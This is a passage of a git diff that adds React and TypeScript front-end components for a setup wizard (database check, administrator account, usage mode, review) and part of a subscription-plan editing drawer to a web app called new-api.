+              <PasswordInput
+                {...field}
+                placeholder={t('Set a secure password (min. 8 characters)')}
+                autoComplete='new-password'
+                onChange={(event) => {
+                  form.clearErrors('password')
+                  field.onChange(event)
+                }}
+              />
+            </FormControl>
+            <FormMessage />
+          </FormItem>
+        )}
+      />
+
+      <FormField
+        control={form.control}
+        name='confirmPassword'
+        render={({ field }) => (
+          <FormItem className='sm:col-span-2'>
+            <FormLabel>{t('Confirm password')}</FormLabel>
+            <FormControl>
+              <PasswordInput
+                {...field}
+                placeholder={t('Repeat the administrator password')}
+                autoComplete='new-password'
+                onChange={(event) => {
+                  form.clearErrors('confirmPassword')
+                  field.onChange(event)
+                }}
+              />
+            </FormControl>
+            <FormMessage />
+          </FormItem>
+        )}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/setup/components/complete-step.tsx b/new-api/web/default/src/features/setup/components/complete-step.tsx
new file mode 100644
index 0000000..a7cfb66
--- /dev/null
+++ b/new-api/web/default/src/features/setup/components/complete-step.tsx
@@ -0,0 +1,90 @@
+import { CheckCircle2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Separator } from '@/components/ui/separator'
+import { StatusBadge } from '@/components/status-badge'
+import type { SetupFormValues, SetupStatus } from '../types'
+
+interface CompleteStepProps {
+  status?: SetupStatus
+  values: SetupFormValues
+}
+
+const USAGE_MODE_LABEL_KEYS: Record<SetupFormValues['usageMode'], string> = {
+  external: 'External operations mode',
+  self: 'Personal use mode',
+  demo: 'Demo site mode',
+}
+
+const DATABASE_VARIANT: Record<
+  string,
+  'info' | 'success' | 'warning' | 'neutral'
+> = {
+  sqlite: 'warning',
+  mysql: 'success',
+  postgres: 'success',
+}
+
+export function CompleteStep({ status, values }: CompleteStepProps) {
+  const { t } = useTranslation()
+  const usageLabelKey = USAGE_MODE_LABEL_KEYS[values.usageMode]
+  const dbType = status?.database_type ?? 'Unknown'
+  const databaseVariant = DATABASE_VARIANT[dbType.toLowerCase()] ?? 'neutral'
+
+  return (
+    <div className='flex flex-col items-center gap-6 text-center'>
+      <div className='rounded-full bg-emerald-500/10 p-4 text-emerald-600 dark:bg-emerald-500/20 dark:text-emerald-300'>
+        <CheckCircle2 className='size-8' />
+      </div>
+      <div className='space-y-2'>
+        <h2 className='text-2xl font-semibold tracking-tight'>
+          {t('Ready to initialize')}
+        </h2>
+        <p className='text-muted-foreground max-w-lg text-sm sm:text-base'>
+          {t(
+            'Double check the configuration below. Your system will be locked until initialization is complete.'
+          )}
+        </p>
+      </div>
+
+      <div className='bg-card w-full rounded-xl border p-6 text-left shadow-sm sm:p-8'>
+        <dl className='grid gap-6'>
+          <div className='space-y-1.5'>
+            <dt className='text-muted-foreground text-xs font-medium tracking-wide uppercase'>
+              {t('Database')}
+            </dt>
+            <dd className='flex flex-wrap items-center gap-2'>
+              <span className='text-sm font-semibold'>{dbType}</span>
+              <StatusBadge
+                label={dbType}
+                variant={databaseVariant}
+                copyable={false}
+              />
+            </dd>
+          </div>
+
+          <Separator />
+
+          <div className='space-y-1.5'>
+            <dt className='text-muted-foreground text-xs font-medium tracking-wide uppercase'>
+              {t('Administrator account')}
+            </dt>
+            <dd className='text-sm font-semibold'>
+              {status?.root_init
+                ? t('Existing account will be reused')
+                : values.username || t('Not set yet')}
+            </dd>
+          </div>
+
+          <Separator />
+
+          <div className='space-y-1.5'>
+            <dt className='text-muted-foreground text-xs font-medium tracking-wide uppercase'>
+              {t('Usage mode')}
+            </dt>
+            <dd className='text-sm font-semibold'>{t(usageLabelKey)}</dd>
+          </div>
+        </dl>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/setup/components/database-step.tsx b/new-api/web/default/src/features/setup/components/database-step.tsx
new file mode 100644
index 0000000..5a32a36
--- /dev/null
+++ b/new-api/web/default/src/features/setup/components/database-step.tsx
@@ -0,0 +1,146 @@
+import { Database, HardDrive, Server } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { StatusBadge } from '@/components/status-badge'
+import type { SetupStatus } from '../types'
+
+interface DatabaseStepProps {
+  status?: SetupStatus
+}
+
+const DATABASE_META: Record<
+  string,
+  {
+    label: string
+    descriptionKey: string
+    variant: 'info' | 'success' | 'warning'
+  }
+> = {
+  sqlite: {
+    label: 'SQLite',
+    descriptionKey:
+      'SQLite stores all data in a single file. Make sure that file is persisted when running in containers.',
+    variant: 'warning',
+  },
+  mysql: {
+    label: 'MySQL',
+    descriptionKey:
+      'MySQL is a production-ready relational database. Keep your credentials secure.',
+    variant: 'success',
+  },
+  postgres: {
+    label: 'PostgreSQL',
+    descriptionKey:
+      'PostgreSQL offers advanced reliability and data integrity for production workloads.',
+    variant: 'success',
+  },
+}
+
+function resolveDatabaseMeta(type?: string) {
+  if (!type) return null
+  const normalized = type.toLowerCase()
+  return (
+    DATABASE_META[normalized] ?? {
+      label: type,
+      descriptionKey: 'Custom database driver detected.',
+      variant: 'info' as const,
+    }
+  )
+}
+
+export function DatabaseStep({ status }: DatabaseStepProps) {
+  const { t } = useTranslation()
+  const meta = resolveDatabaseMeta(status?.database_type)
+  const electronApi =
+    typeof window !== 'undefined'
+      ? ((window as unknown as Record<string, unknown>)?.electron as
+          | Record<string, unknown>
+          | undefined)
+      : undefined
+  const isElectron = Boolean(electronApi?.isElectron)
+  const electronDataDir = electronApi?.dataDir as string | undefined
+
+  return (
+    <div className='space-y-4'>
+      <div className='bg-card flex items-center justify-between rounded-lg border p-4'>
+        <div className='space-y-1'>
+          <p className='text-muted-foreground text-sm font-medium'>
+            {t('Detected database')}
+          </p>
+          <p className='text-foreground text-base font-semibold'>
+            {meta?.label ?? t('Unknown')}
+          </p>
+          <p className='text-muted-foreground text-sm'>
+            {t(
+              meta?.descriptionKey ??
+                'The setup wizard will use this database during initialization.'
+            )}
+          </p>
+        </div>
+        <StatusBadge
+          label={meta?.label ?? t('Unknown')}
+          variant={meta?.variant ?? 'info'}
+          className='cursor-default'
+          copyable={false}
+          icon={Database}
+        />
+      </div>
+
+      {status?.database_type === 'sqlite' && (
+        <Alert className='border-amber-200 bg-amber-50 dark:border-amber-900/60 dark:bg-amber-950/40'>
+          <AlertTitle className='flex items-center gap-2'>
+            <HardDrive className='size-4 text-amber-500' />
+            {t('Persist your data file')}
+          </AlertTitle>
+          <AlertDescription>
+            <p>
+              {t(
+                'When running in containers or ephemeral environments, ensure the SQLite file is mapped to persistent storage to avoid data loss on restart.'
+              )}
+            </p>
+            {isElectron && electronDataDir && (
+              <p className='mt-3 rounded-md bg-amber-100/70 px-3 py-2 font-mono text-xs text-amber-800 dark:bg-amber-900/30 dark:text-amber-200'>
+                {t('Data directory:')} {electronDataDir}
+              </p>
+            )}
+            {isElectron && !electronDataDir && (
+              <p className='text-muted-foreground mt-3 text-xs'>
+                {t(
+                  'Data is stored locally on this device. Use system backups to keep a safe copy.'
+                )}
+              </p>
+            )}
+          </AlertDescription>
+        </Alert>
+      )}
+
+      {status?.database_type === 'mysql' && (
+        <Alert className='border-emerald-200 bg-emerald-50 dark:border-emerald-900/60 dark:bg-emerald-950/40'>
+          <AlertTitle className='flex items-center gap-2'>
+            <Server className='size-4 text-emerald-500' />
+            {t('MySQL detected')}
+          </AlertTitle>
+          <AlertDescription>
+            {t(
+              'MySQL is production ready. Ensure automated backups and a dedicated user with the minimal required privileges are configured.'
+            )}
+          </AlertDescription>
+        </Alert>
+      )}
+
+      {status?.database_type === 'postgres' && (
+        <Alert className='border-sky-200 bg-sky-50 dark:border-sky-900/60 dark:bg-sky-950/40'>
+          <AlertTitle className='flex items-center gap-2'>
+            <Server className='size-4 text-sky-500' />
+            {t('PostgreSQL detected')}
+          </AlertTitle>
+          <AlertDescription>
+            {t(
+              'PostgreSQL offers strong reliability guarantees. Double check your maintenance window and retention policies before going live.'
+            )}
+          </AlertDescription>
+        </Alert>
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/setup/components/step-navigation.tsx b/new-api/web/default/src/features/setup/components/step-navigation.tsx
new file mode 100644
index 0000000..a104fa9
--- /dev/null
+++ b/new-api/web/default/src/features/setup/components/step-navigation.tsx
@@ -0,0 +1,61 @@
+import { CheckCircle2, Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+
+interface StepNavigationProps {
+  currentStep: number
+  totalSteps: number
+  onBack: () => void
+  onNext: () => void
+  onSubmit: () => void
+  isSubmitting?: boolean
+}
+
+export function StepNavigation({
+  currentStep,
+  totalSteps,
+  onBack,
+  onNext,
+  onSubmit,
+  isSubmitting = false,
+}: StepNavigationProps) {
+  const { t } = useTranslation()
+  const isFirstStep = currentStep === 0
+  const isLastStep = currentStep === totalSteps - 1
+
+  return (
+    <div className='flex w-full flex-col gap-3 sm:flex-row sm:items-center'>
+      <div className='flex justify-end gap-2 sm:justify-start'>
+        {!isFirstStep && (
+          <Button type='button' variant='outline' onClick={onBack}>
+            {t('Back')}
+          </Button>
+        )}
+      </div>
+
+      <div className='flex flex-1 justify-end gap-2'>
+        {!isLastStep && (
+          <Button type='button' onClick={onNext}>
+            {t('Next')}
+          </Button>
+        )}
+
+        {isLastStep && (
+          <Button type='button' onClick={onSubmit} disabled={isSubmitting}>
+            {isSubmitting ? (
+              <>
+                <Loader2 className='mr-2 size-4 animate-spin' />
+                {t('Initializing…')}
+              </>
+            ) : (
+              <>
+                <CheckCircle2 className='mr-2 size-4' />
+                {t('Initialize system')}
+              </>
+            )}
+          </Button>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/setup/components/usage-mode-step.tsx b/new-api/web/default/src/features/setup/components/usage-mode-step.tsx
new file mode 100644
index 0000000..86d0b58
--- /dev/null
+++ b/new-api/web/default/src/features/setup/components/usage-mode-step.tsx
@@ -0,0 +1,113 @@
+import type { ComponentType } from 'react'
+import type { UseFormReturn } from 'react-hook-form'
+import { Building2, Home, Presentation } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import {
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Label } from '@/components/ui/label'
+import { RadioGroup, RadioGroupItem } from '@/components/ui/radio-group'
+import type { SetupFormValues, SetupUsageMode } from '../types'
+
+interface UsageModeStepProps {
+  form: UseFormReturn<SetupFormValues>
+}
+
+const USAGE_MODE_OPTIONS: Array<{
+  value: SetupUsageMode
+  titleKey: string
+  descriptionKey: string
+  icon: ComponentType<{ className?: string }>
+}> = [
+  {
+    value: 'external',
+    titleKey: 'External operations',
+    descriptionKey:
+      'Serve multiple users or teams with billing and quota control.',
+    icon: Building2,
+  },
+  {
+    value: 'self',
+    titleKey: 'Personal use',
+    descriptionKey:
+      'Best for single-tenant deployments. Pricing and billing options stay hidden.',
+    icon: Home,
+  },
+  {
+    value: 'demo',
+    titleKey: 'Demo site',
+    descriptionKey:
+      'Showcase core capabilities with demo credentials and limited access.',
+    icon: Presentation,
+  },
+]
+
+export function UsageModeStep({ form }: UsageModeStepProps) {
+  const { t } = useTranslation()
+
+  return (
+    <FormField
+      control={form.control}
+      name='usageMode'
+      render={({ field }) => (
+        <FormItem>
+          <FormLabel>{t('How will you use the platform?')}</FormLabel>
+          <FormControl>
+            <RadioGroup
+              value={field.value}
+              onValueChange={(value) => {
+                form.clearErrors('usageMode')
+                field.onChange(value as SetupUsageMode)
+              }}
+              className='grid gap-3 sm:grid-cols-3'
+            >
+              {USAGE_MODE_OPTIONS.map(
+                ({ value, titleKey, descriptionKey, icon: Icon }) => {
+                  const isSelected = field.value === value
+                  return (
+                    <Label
+                      key={value}
+                      htmlFor={`usage-mode-${value}`}
+                      className={cn(
+                        'hover:border-primary/40 focus-within:border-primary/50 group bg-card flex cursor-pointer flex-col gap-3 rounded-xl border p-4 font-normal transition-all',
+                        isSelected
+                          ? 'border-primary ring-primary/20 ring-2'
+                          : 'border-muted'
+                      )}
+                    >
+                      <div className='flex items-center gap-3'>
+                        <RadioGroupItem
+                          id={`usage-mode-${value}`}
+                          value={value}
+                          className='mt-1'
+                        />
+                        <div>
+                          <Label
+                            htmlFor={`usage-mode-${value}`}
+                            className='text-base leading-none font-semibold'
+                          >
+                            {t(titleKey)}
+                          </Label>
+                          <p className='text-muted-foreground mt-2 text-sm'>
+                            {t(descriptionKey)}
+                          </p>
+                        </div>
+                        <Icon className='text-muted-foreground/70 group-hover:text-primary group-focus:text-primary ml-auto size-5 shrink-0 transition' />
+                      </div>
+                    </Label>
+                  )
+                }
+              )}
+            </RadioGroup>
+          </FormControl>
+          <FormMessage />
+        </FormItem>
+      )}
+    />
+  )
+}
diff --git a/new-api/web/default/src/features/setup/index.ts b/new-api/web/default/src/features/setup/index.ts
new file mode 100644
index 0000000..b9ac16b
--- /dev/null
+++ b/new-api/web/default/src/features/setup/index.ts
@@ -0,0 +1 @@
+export * from './setup-wizard'
diff --git a/new-api/web/default/src/features/setup/setup-wizard.tsx b/new-api/web/default/src/features/setup/setup-wizard.tsx
new file mode 100644
index 0000000..d5b5d0f
--- /dev/null
+++ b/new-api/web/default/src/features/setup/setup-wizard.tsx
@@ -0,0 +1,382 @@
+import { useEffect, useMemo, useState } from 'react'
+import { useForm } from 'react-hook-form'
+import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
+import { useNavigate } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { cn } from '@/lib/utils'
+import { useSystemConfig } from '@/hooks/use-system-config'
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardFooter,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+import { Form } from '@/components/ui/form'
+import { Skeleton } from '@/components/ui/skeleton'
+import { ErrorState } from '@/components/error-state'
+import { LanguageSwitcher } from '@/components/language-switcher'
+import { LoadingState } from '@/components/loading-state'
+import { buildSetupPayload, getSetupStatus, submitSetup } from './api'
+import { AdminStep } from './components/admin-step'
+import { CompleteStep } from './components/complete-step'
+import { DatabaseStep } from './components/database-step'
+import { StepNavigation } from './components/step-navigation'
+import { UsageModeStep } from './components/usage-mode-step'
+import type { SetupFormValues, SetupStatus } from './types'
+
+const STEPS = [
+  {
+    titleKey: 'Database check',
+    descriptionKey: 'Verify your database connection',
+  },
+  {
+    titleKey: 'Administrator account',
+    descriptionKey: 'Create credentials for the root user',
+  },
+  {
+    titleKey: 'Usage mode',
+    descriptionKey: 'Choose how the platform will operate',
+  },
+  {
+    titleKey: 'Review & initialize',
+    descriptionKey: 'Confirm settings and finish setup',
+  },
+]
+
+const DEFAULT_FORM_VALUES: SetupFormValues = {
+  username: '',
+  password: '',
+  confirmPassword: '',
+  usageMode: 'external',
+}
+
+export function SetupWizard() {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+  const queryClient = useQueryClient()
+  const { systemName, logo, loading: systemConfigLoading } = useSystemConfig()
+
+  const [currentStep, setCurrentStep] = useState(0)
+  const [setupStatus, setSetupStatus] = useState<SetupStatus | undefined>()
+
+  const form = useForm<SetupFormValues>({
+    defaultValues: DEFAULT_FORM_VALUES,
+    mode: 'onBlur',
+  })
+
+  const watchedValues = form.watch()
+
+  const {
+    data: statusResponse,
+    isLoading,
+    isError,
+    refetch,
+  } = useQuery({
+    queryKey: ['setup-status'],
+    queryFn: getSetupStatus,
+    retry: false,
+  })
+
+  const mutation = useMutation({
+    mutationKey: ['setup-submit'],
+    mutationFn: submitSetup,
+    onSuccess: async (response) => {
+      if (response.success) {
+        toast.success(t('System initialized successfully! Redirecting…'))
+        await queryClient.invalidateQueries({ queryKey: ['setup-status'] })
+        setTimeout(() => {
+          navigate({ to: '/' })
+        }, 1200)
+      } else {
+        toast.error(
+          response.message || t('Initialization failed, please try again.')
+        )
+      }
+    },
+    onError: () => {
+      toast.error(t('Failed to initialize system'))
+    },
+  })
+
+  useEffect(() => {
+    if (!statusResponse) return
+
+    if (!statusResponse.success) {
+      toast.error(statusResponse.message || t('Failed to load setup status'))
+      return
+    }
+
+    const status = statusResponse.data
+    if (!status) return
+
+    if (status.status) {
+      navigate({ to: '/' })
+      return
+    }
+
+    setSetupStatus(status)
+    setCurrentStep(0)
+
+    // Pre-fill usage mode if backend echoes it
+    if (status.SelfUseModeEnabled) {
+      form.setValue('usageMode', 'self', {
+        shouldDirty: false,
+        shouldTouch: false,
+        shouldValidate: false,
+      })
+    } else if (status.DemoSiteEnabled) {
+      form.setValue('usageMode', 'demo', {
+        shouldDirty: false,
+        shouldTouch: false,
+        shouldValidate: false,
+      })
+    } else {
+      form.setValue('usageMode', 'external', {
+        shouldDirty: false,
+        shouldTouch: false,
+        shouldValidate: false,
+      })
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [statusResponse, navigate, form])
+
+  useEffect(() => {
+    if (!setupStatus) return
+
+    // Reset admin fields when backend reports they are already initialized
+    if (setupStatus.root_init) {
+      form.setValue('username', '', {
+        shouldDirty: false,
+        shouldTouch: false,
+        shouldValidate: false,
+      })
+      form.setValue('password', '', {
+        shouldDirty: false,
+        shouldTouch: false,
+        shouldValidate: false,
+      })
+      form.setValue('confirmPassword', '', {
+        shouldDirty: false,
+        shouldTouch: false,
+        shouldValidate: false,
+      })
+    }
+  }, [setupStatus, form])
+
+  const currentStepComponent = useMemo(() => {
+    if (currentStep === 0) {
+      return <DatabaseStep status={setupStatus} />
+    }
+    if (currentStep === 1) {
+      return (
+        <AdminStep
+          form={form}
+          rootInitialized={Boolean(setupStatus?.root_init)}
+        />
+      )
+    }
+    if (currentStep === 2) {
+      return <UsageModeStep form={form} />
+    }
+    return <CompleteStep status={setupStatus} values={watchedValues} />
+  }, [currentStep, setupStatus, form, watchedValues])
+
+  const validateAdminStep = () => {
+    if (setupStatus?.root_init) return true
+
+    const username = form.getValues('username')?.trim()
+    const password = form.getValues('password')?.trim()
+    const confirmPassword = form.getValues('confirmPassword')?.trim()
+
+    if (!username) {
+      form.setError('username', {
+        type: 'manual',
+        message: t('Please enter an administrator username'),
+      })
+      toast.error(t('Please enter an administrator username'))
+      return false
+    }
+
+    if (!password || password.length < 8) {
+      form.setError('password', {
+        type: 'manual',
+        message: t('Password must be at least 8 characters long'),
+      })
+      toast.error(t('Password must be at least 8 characters long'))
+      return false
+    }
+
+    if (password !== confirmPassword) {
+      form.setError('confirmPassword', {
+        type: 'manual',
+        message: t('Passwords do not match'),
+      })
+      toast.error(t('Passwords do not match'))
+      return false
+    }
+
+    return true
+  }
+
+  const validateUsageModeStep = () => {
+    const usageMode = form.getValues('usageMode')
+    if (!usageMode) {
+      form.setError('usageMode', {
+        type: 'manual',
+        message: t('Select a usage mode to continue'),
+      })
+      toast.error(t('Select a usage mode to continue'))
+      return false
+    }
+    return true
+  }
+
+  const handleNextStep = () => {
+    if (currentStep === 1 && !validateAdminStep()) return
+    if (currentStep === 2 && !validateUsageModeStep()) return
+
+    setCurrentStep((step) => Math.min(step + 1, STEPS.length - 1))
+  }
+
+  const handlePreviousStep = () => {
+    setCurrentStep((step) => Math.max(step - 1, 0))
+  }
+
+  const handleSubmit = async () => {
+    const adminValid = validateAdminStep()
+    const usageValid = validateUsageModeStep()
+    if (!adminValid || !usageValid) return
+
+    const payload = buildSetupPayload(
+      form.getValues(),
+      Boolean(setupStatus?.root_init)
+    )
+
+    mutation.mutate(payload)
+  }
+
+  return (
+    <div className='bg-muted/40 relative min-h-svh py-10'>
+      <div className='absolute top-4 right-4 sm:top-6 sm:right-6'>
+        <LanguageSwitcher />
+      </div>
+      <div className='container mx-auto flex max-w-5xl flex-col gap-8 px-4 sm:px-6'>
+        <div className='flex flex-col items-center gap-3'>
+          <div className='relative h-12 w-12'>
+            {systemConfigLoading ? (
+              <Skeleton className='absolute inset-0 rounded-full' />
+            ) : (
+              <img
+                src={logo}
+                alt={t('System logo')}
+                className='h-12 w-12 rounded-full object-cover shadow-sm'
+              />
+            )}
+          </div>
+          {systemConfigLoading ? (
+            <Skeleton className='h-7 w-40' />
+          ) : (
+            <h1 className='text-2xl font-semibold tracking-tight'>
+              {t('Initialize')} {systemName}
+            </h1>
+          )}
+          <p className='text-muted-foreground text-center text-sm sm:text-base'>
+            {t(
+              'Follow the guided steps to prepare your workspace before the first login.'
+            )}
+          </p>
+        </div>
+
+        <Card className='shadow-lg'>
+          <CardHeader className='space-y-2'>
+            <CardTitle className='text-xl font-semibold'>
+              {t('System setup wizard')}
+            </CardTitle>
+            <CardDescription>
+              {t('Complete these steps to finish the initial installation.')}
+            </CardDescription>
+          </CardHeader>
+
+          <CardContent className='space-y-6'>
+            <ol className='grid gap-3 sm:grid-cols-4'>
+              {STEPS.map((step, index) => {
+                const isActive = currentStep === index
+                const isCompleted = currentStep > index
+                return (
+                  <li
+                    key={step.titleKey}
+                    className={cn(
+                      'rounded-xl border p-3',
+                      isActive
+                        ? 'border-primary ring-primary/20 ring-2'
+                        : isCompleted
+                          ? 'border-primary/40 bg-primary/5'
+                          : 'border-muted bg-card'
+                    )}
+                  >
+                    <div className='flex items-start gap-3'>
+                      <span
+                        className={cn(
+                          'flex size-6 items-center justify-center rounded-full border text-xs font-semibold',
+                          isActive
+                            ? 'border-primary bg-primary text-primary-foreground'
+                            : isCompleted
+                              ? 'border-primary bg-primary text-primary-foreground'
+                              : 'border-muted-foreground/40 text-muted-foreground'
+                        )}
+                      >
+                        {index + 1}
+                      </span>
+                      <div className='space-y-1'>
+                        <p className='text-sm font-semibold'>
+                          {t(step.titleKey)}
+                        </p>
+                        <p className='text-muted-foreground text-xs'>
+                          {t(step.descriptionKey)}
+                        </p>
+                      </div>
+                    </div>
+                  </li>
+                )
+              })}
+            </ol>
+
+            {isLoading ? (
+              <LoadingState message={t('Loading setup status…')} />
+            ) : isError ? (
+              <ErrorState
+                title={t('We could not load the setup status.')}
+                onRetry={() => refetch()}
+              />
+            ) : (
+              <Form {...form}>
+                <form
+                  className='space-y-6'
+                  onSubmit={(event) => event.preventDefault()}
+                >
+                  {currentStepComponent}
+                </form>
+              </Form>
+            )}
+          </CardContent>
+
+          {!isLoading && !isError && (
+            <CardFooter className='w-full justify-end border-t'>
+              <StepNavigation
+                currentStep={currentStep}
+                totalSteps={STEPS.length}
+                onBack={handlePreviousStep}
+                onNext={handleNextStep}
+                onSubmit={handleSubmit}
+                isSubmitting={mutation.isPending}
+              />
+            </CardFooter>
+          )}
+        </Card>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/setup/types.ts b/new-api/web/default/src/features/setup/types.ts
new file mode 100644
index 0000000..b57945e
--- /dev/null
+++ b/new-api/web/default/src/features/setup/types.ts
@@ -0,0 +1,23 @@
+export type SetupUsageMode = 'external' | 'self' | 'demo'
+
+export interface SetupStatus {
+  status: boolean
+  root_init: boolean
+  database_type: string
+  // Some backends also echo mode flags; they are optional here.
+  SelfUseModeEnabled?: boolean
+  DemoSiteEnabled?: boolean
+}
+
+export interface SetupFormValues {
+  username: string
+  password: string
+  confirmPassword: string
+  usageMode: SetupUsageMode
+}
+
+export interface SetupResponse {
+  success: boolean
+  message?: string
+  data?: SetupStatus
+}
diff --git a/new-api/web/default/src/features/subscriptions/components/subscriptions-mutate-drawer.tsx b/new-api/web/default/src/features/subscriptions/components/subscriptions-mutate-drawer.tsx
new file mode 100644
index 0000000..bb53921
--- /dev/null
+++ b/new-api/web/default/src/features/subscriptions/components/subscriptions-mutate-drawer.tsx
@@ -0,0 +1,526 @@
+import { useEffect, useState } from 'react'
+import { useForm, type Resolver } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { CalendarClock, CreditCard, RefreshCw, Settings2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import {
+  Sheet,
+  SheetClose,
+  SheetContent,
+  SheetDescription,
+  SheetFooter,
+  SheetHeader,
+  SheetTitle,
+} from '@/components/ui/sheet'
+import { Switch } from '@/components/ui/switch'
+import { createPlan, updatePlan, getGroups } from '../api'
+import { getDurationUnitOptions, getResetPeriodOptions } from '../constants'
+import {
+  getPlanFormSchema,
+  PLAN_FORM_DEFAULTS,
+  planToFormValues,
+  formValuesToPlanPayload,
+  type PlanFormValues,
+} from '../lib'
+import type { PlanRecord } from '../types'
+import { useSubscriptions } from './subscriptions-provider'
+
+interface Props {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  currentRow?: PlanRecord
+}
+
+export function SubscriptionsMutateDrawer({
+  open,
+  onOpenChange,
+  currentRow,
+}: Props) {
+  const { t } = useTranslation()
+  const isEdit = !!currentRow?.plan?.id
+  const { triggerRefresh } = useSubscriptions()
+  const [isSubmitting, setIsSubmitting] = useState(false)
+  const [groupOptions, setGroupOptions] = useState<string[]>([])
+
+  const schema = getPlanFormSchema(t)
+  const form = useForm<PlanFormValues>({
+    resolver: zodResolver(schema) as unknown as Resolver<PlanFormValues>,
+    defaultValues: PLAN_FORM_DEFAULTS,
+  })
+
+  useEffect(() => {
+    if (open) {
+      if (currentRow?.plan) {
+        form.reset(planToFormValues(currentRow.plan))
+      } else {
+        form.reset(PLAN_FORM_DEFAULTS)
+      }
+      getGroups()
+        .then((res) => {
+          if (res.success) setGroupOptions(res.data || [])
+        })
+        .catch(() => {})
+    }
+  }, [open, currentRow, form])
+
+  const durationUnit = form.watch('duration_unit')
+  const resetPeriod = form.watch('quota_reset_period')
+
+  const onSubmit = async (values: PlanFormValues) => {
+    setIsSubmitting(true)
+    try {
+      const payload = formValuesToPlanPayload(values)
+      if (isEdit && currentRow?.plan?.id) {
+        const res = await updatePlan(currentRow.plan.id, payload)
+        if (res.success) {
+          toast.success(t('Update succeeded'))
+          onOpenChange(false)
+          triggerRefresh()
+        }
+      } else {
+        const res = await createPlan(payload)
+        if (res.success) {
+          toast.success(t('Create succeeded'))
+          onOpenChange(false)
+          triggerRefresh()
+        }
+      }
+    } catch {
+      toast.error(t('Request failed'))
+    } finally {
+      setIsSubmitting(false)
+    }
+  }
+
+  const durationUnitOpts = getDurationUnitOptions(t)
+  const resetPeriodOpts = getResetPeriodOptions(t)
+
+  return (
+    <Sheet
+      open={open}
+      onOpenChange={(v) => {
+        onOpenChange(v)
+        if (!v) {
+          form.reset()
+        }
+      }}
+    >
+      <SheetContent className='flex w-full flex-col sm:max-w-[600px]'>
+        <SheetHeader className='text-start'>
+          <SheetTitle>
+            {isEdit ? t('Update plan info') : t('Create new subscription plan')}
+          </SheetTitle>
+          <SheetDescription>
+            {isEdit
+              ? t('Modify existing subscription plan configuration')
+              : t(
+                  'Fill in the following info to create a new subscription plan'
+                )}
+          </SheetDescription>
+        </SheetHeader>
+        <Form {...form}>
+          <form
+            id='subscription-form'
+            onSubmit={form.handleSubmit(onSubmit)}
+            className='flex-1 space-y-6 overflow-y-auto px-4'
+          >
+            {/* Basic Info */}
+            <div className='space-y-4'>
+              <h3 className='flex items-center gap-2 text-sm font-medium'>
+                <Settings2 className='h-4 w-4' />
+                {t('Basic Info')}
+              </h3>
+
+              <FormField
+                control={form.control}
+                name='title'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Plan Title')}</FormLabel>
+                    <FormControl>
+                      <Input {...field} placeholder={t('e.g. Basic Plan')} />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='subtitle'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Plan Subtitle')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        {...field}
+                        placeholder={t('e.g. Suitable for light usage')}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <div className='grid grid-cols-2 gap-3'>
+                <FormField
+                  control={form.control}
+                  name='price_amount'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Actual Amount')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          {...field}
+                          type='number'
+                          step='0.01'
+                          min={0}
+                          onChange={(e) =>
+                            field.onChange(parseFloat(e.target.value) || 0)
+                          }
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='total_amount'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Total Quota')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          {...field}
+                          type='number'
+                          min={0}
+                          onChange={(e) =>
+                            field.onChange(parseFloat(e.target.value) || 0)
+                          }
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t('0 means unlimited')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+
+              <div className='grid grid-cols-2 gap-3'>
+                <FormField
+                  control={form.control}
+                  name='upgrade_group'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Upgrade Group')}</FormLabel>
+                      <Select
+                        onValueChange={(v) =>
+                          field.onChange(v === '__none__' ? '' : v)
+                        }
+                        value={field.value || ''}
+                      >
+                        <FormControl>
+                          <SelectTrigger>
+                            <SelectValue placeholder={t('No Upgrade')} />
+                          </SelectTrigger>
+                        </FormControl>
+                        <SelectContent>
+                          <SelectItem value='__none__'>
+                            {t('No Upgrade')}
+                          </SelectItem>
+                          {groupOptions.map((g) => (
+                            <SelectItem key={g} value={g}>
+                              {g}
+                            </SelectItem>
